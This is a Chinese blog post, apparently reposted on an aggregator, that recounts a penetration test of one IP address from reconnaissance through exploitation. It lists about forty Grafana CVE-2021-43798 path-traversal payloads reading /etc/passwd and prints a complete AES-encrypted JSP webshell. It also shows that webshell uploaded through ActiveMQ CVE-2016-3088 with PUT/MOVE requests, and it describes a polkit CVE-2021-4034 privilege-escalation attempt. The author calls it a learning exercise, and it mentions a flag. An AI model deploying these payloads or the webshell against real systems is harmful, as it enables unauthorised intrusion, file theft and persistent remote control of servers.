一次渗透测试实战

这篇具有很好参考价值的文章主要介绍了一次渗透测试实战。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

学习了一两个月的安全,为了对自己的一个学习水平做一个总结,所以我特地找来一个网站来进行一次渗透实战。

信息收集

这次的网站只有一个ip地址,但是发现直接访问这个ip地址返回的是连接超时无法访问
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
所以这时候就需要我们就得进行一个信息收集找到跟着ip有关的网站进行一个渗透测试。
通常信息收集的第一步是进行子域名收集,但由于本次我测试的网站直接就是一个真实ip,所以就直接从搜索这个ip是否有相关端口开发并进行利用。

通常进行端口扫描是使用nmap进行扫描,但我这里直接使用fofa进行资产收集
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
通过fofa搜集我发现了关于这个ip的端口开放了以下端口:3000、8888、8161、9200、8080、8001六个端口。
通过测试发现只有3000、8888、8161三个端口可以正常访问,所以我们就可以从这3个端口下手。
这三个端口访问内容如下
3000端口
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
8888端口
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
8161端口
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
搜集完他们的端口后我先使用dirsearch后台扫描工具对这三个网站进行一个扫描,看看是否有敏感文件。

扫描后发现8888端口有3个可疑敏感文件
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
扫描后发现3000端口有6个可疑敏感文件
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全

扫描后发现8161端口有3个可疑敏感文件
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
扫描完后台后我们查看网页内容可以发现,3个网站分别是使用3个不同的中间件来搭建的网站,所以我们可以查看网站版本并上网查询此版本是否有漏洞可以利用。
百度后发现
3000端口的Grafana网站下方版本为8.2.5所以极可能存在任意文件读取漏洞
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
通过输入错误文件目录我们发现可以获取8888端口的nginx的版本为1.21.5
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
百度后发现这版本没有什么漏洞
而端口8161的apache网站主页并未发现网站版本,但是有一个登陆界面,我们可能可以尝试使用字典爆破等方法尝试绕过。

渗透测试实战,网络安全,web安全,网络安全,安全,系统安全

漏洞验证

首先对上述后台扫描的文件进行一个测试发现
3000端口
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
都没有可以利用的文件,所以只能从相关版本漏洞来测试了。

通过测试8161端口只发现一个302跳转页面提示

渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
发现暂时也没有可以利用的地方,所以只能尝试能否登陆进后台下手了。

通过测试8888端口发现www.root.7z这个压缩包下载下来后打开发现
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
这明显是一个base64的编码,所以我们需要对他进行一个解码
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
通过在这得到了一个账户和密码,我立马联想是否可以登录到apache的网站
输入后发现果然可以登录上apache网站
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
登录后发现告诉了我们apache的版本,所以我们可以去查找此版本的相关漏洞进行验证
通过百度发现此版本可能存在任意文件上传漏洞
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全

漏洞攻击

Grafana任意文件读取漏洞(CVE-2021-43798)

一、漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。

二、漏洞影响范围

影响版本:
Grafana 8.0.0 - 8.3.0

安全版本:
Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7

Payload:

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd

通过burpsuit抓包修改进行攻击
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全

可以通过脚本来批量验证POC
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
最后发现flag
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全

ActiveMQ 任意文件上传漏洞(CVE-2016-3088)

一、漏洞描述

该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。

二、漏洞影响范围

Apache ActiveMQ 5.0.0 - 5.13.2

三、漏洞利用:

文件写入有几种利用方法:

1.写入webshell
2.写入cron 或ssh key 等文件
3.写入jar 或 jetty.xml 等库和配置文件
写入webshell的好处是门槛低,方便,但是fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋,写入cron 和ssh key 好处是直接反弹拿shell,也比较方便,缺点是需要root权限,写入jar,稍微麻烦点(需要jar后门 ),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是,我们需要activemq的绝对路径。

写入webshell

EXP:

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

写入webshell需要写在admin或api应用中,而这俩应用都需要登录才能访问。我们之前已经登录过了,访问admin/test/systemProperties.jsp可以查看ActiveMQ的绝对路径
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
然后通过burpsuit抓包构造PUT请求,当返回204状态码则说明文件上传成功
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
访问fileserver/shell.jsp则会将我们写入的shell展示出来,如下图所示
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
MOVE请求,将该文件移动到/admin/中,让脚本进行解析,显示204说明上传成功
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
上传完后通过burpsuit抓取一下GET包请求头
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
使用冰蝎进行webshell连接
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
连接后通过ls命令查看了当前目录文件,可以发现目录下有CVE-2021-4034的相关文件,通过whoamiid命令发现只有user权限没有root权限
通过百度发现CVE-2021-4034是一个权限提升的漏洞,所以我们可以尝试通过这个漏洞进行一个权限提升。

权限提升

CVE-2021-4034 Linux polkit 提权漏洞

一、漏洞描述

Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。

二、影响版本

目前在CVE官网上没有列举详细的影响版本范围,升级到最新版本即可。当前最新版本 polkit-0.112-26.el7_9.1

三、漏洞利用

1.下载EXP,地址:https://github.com/berdav/CVE-2021-4034
2.在下载的文件夹直接make编译
3.执行./cve-2021-4034
4.提权成功
成功效果图
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全

但是我在使用的冰蝎时发现目录中的EXP不完整,无法进行一个漏洞利用,而且gcc命令未安装,但是安装相关命令需要root权限,所以导致没法提升至root权限。暂时还没找到其他方法进行权限提升,若后续找到方法会重新更新。
渗透测试实战,网络安全,web安全,网络安全,安全,系统安全

总结

通过这一次渗透测试的实战经历,让我对自己的信息收集和漏洞利用方面的思路得到了提升,但在权限提升,内网渗透方面学习的比较浅,还需要继续学习。

参考文献
ActiveMQ 任意文件上传漏洞(CVE-2016-3088).
CVE-2021-4034 Linux polkit 提权漏洞复现与修复.
Grafana任意文件读取漏洞(CVE-2021-43798).文章来源地址https://www.toymoban.com/news/detail-783136.html

到了这里,关于一次渗透测试实战的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全】记一次网站站点渗透

    前言 遇到一个站,后端是 Node.js 写的,对于这种类型的站点,一般比较难 getshell,但也实现了最终的目标,拿到后台权限 信息搜集 先进行常规的信息搜集,子域名扫描、端口扫描、目录扫描等 这个站后端脚本语言是 Node.js 目录探测发现 404 界面也极像 Node.js 的 404 页面,后

    2024年02月11日
    浏览(50)
  • 2023年网络安全竞赛——Windows操作系统渗透测试Server2124

    任务五:Windows操作系统渗透测试 任务环境说明: 服务器场景:Server2124(关闭链接) 服务器场景操作系统:Windows(版本不详) 通过本地PC中渗透测试平台Kali对服务器场景Server2124进行系统服务及版本扫描渗透测试,并将该操作显示结果中1433端口对应的服务版本信息作为Fla

    2024年02月05日
    浏览(42)
  • 网络安全渗透测试实验一

    理解网络扫描、网络侦察的作用;通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。 系统环境:Kali Linux 2、Windows 网络环境:交换网络结构 实验工具: Metasploitable2(需自行下载虚拟机镜像);Nmap(Kali);

    2023年04月26日
    浏览(53)
  • 网络安全入门 5 天速成教程_ WEB 安全渗透攻防技术

    前言 随着 Web 技术发展越来越成熟,而非 Web 服务越来越少的暴露在互联网上,现在互联网安全主要指的是 Web 安全。 为了自身不“裸奔”在大数据里,渐渐开始学习 Web 安全,在学习 Web 安全的过程中,发现很大一部分知识点都相对零散,如果没有相对清晰 的脉络作为参考,

    2024年04月23日
    浏览(49)
  • 【网络安全】渗透测试之木马免杀

    博主昵称:跳楼梯企鹅 博主主页面链接: 博主主页传送门 博主专栏页面连接:

    2024年02月02日
    浏览(50)
  • 智能网联汽车网络安全测试:渗透测试,模糊测试详细讲解

    车内网络系统架构 随着智能网联汽车电子系统的复杂化,电子电气架构( Electrical/Electronic Architecture, EEA )由分布式向集中式架构演进,如图 2.1 所示。 在汽车 EEA 演进的同时,为了满足不同复杂程度的汽车功能对于通信性能的需求,车内总线协议也在不断发展。CAN 总线协

    2024年01月23日
    浏览(45)
  • 实战渗透--一次对后台登录系统的简单渗透测试

    某网站后台登录界面 发现有验证码框 猜想会不会存在验证码绕过的漏洞 首先随意输入用户名密码(用于抓包) 打开burp抓包 分析数据包后 找到对应的传参点 即输入的账号密码还有验证码 这里可以看到 账号和密码全都是明文传输 并没有进行加密 所以更改起来还是很容易的

    2024年02月02日
    浏览(48)
  • 网络安全渗透测试的八个步骤

    ​一、明确目标 ​1.确定范围:测试目标的范畴、ip、网站域名、内外网、检测帐户。 2.确定标准:能渗入到何种程度,所花费的时间、能不能改动提交、能不能漏洞利用、这些。 3.确定要求:web应用的漏洞、业务逻辑漏洞、工作人员管理权限管理漏洞、这些。 ​二、信息收

    2024年02月04日
    浏览(46)
  • 【网络安全】DVWA靶场实战&BurpSuite内网渗透

    我们先来认识一下BurpSuite中有哪些攻击模式,然后开始实战操作 下面攻击案例即将使用,对单个参数进行攻击破解 联想战争中狙击手的作用,一次只能击杀一名敌人 联想古代的攻城锤,特点就是攻击范围比狙击手大,但是效率不一定高 可以设置多个攻击字段,但是payload值

    2024年02月13日
    浏览(56)
  • 网络安全从业人员应该如何提升自身的web渗透能力?

    前言 web 渗透这个东西学起来如果没有头绪和路线的话,是非常烧脑的。 理清 web 渗透学习思路,把自己的学习方案和需要学习的点全部整理,你会发现突然渗透思路就有点眉目了。 程序员之间流行一个词,叫 35 岁危机,,意思就是说 35 岁是个坎,容易被淘汰。 那么安全行

    2023年04月09日
    浏览(105)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包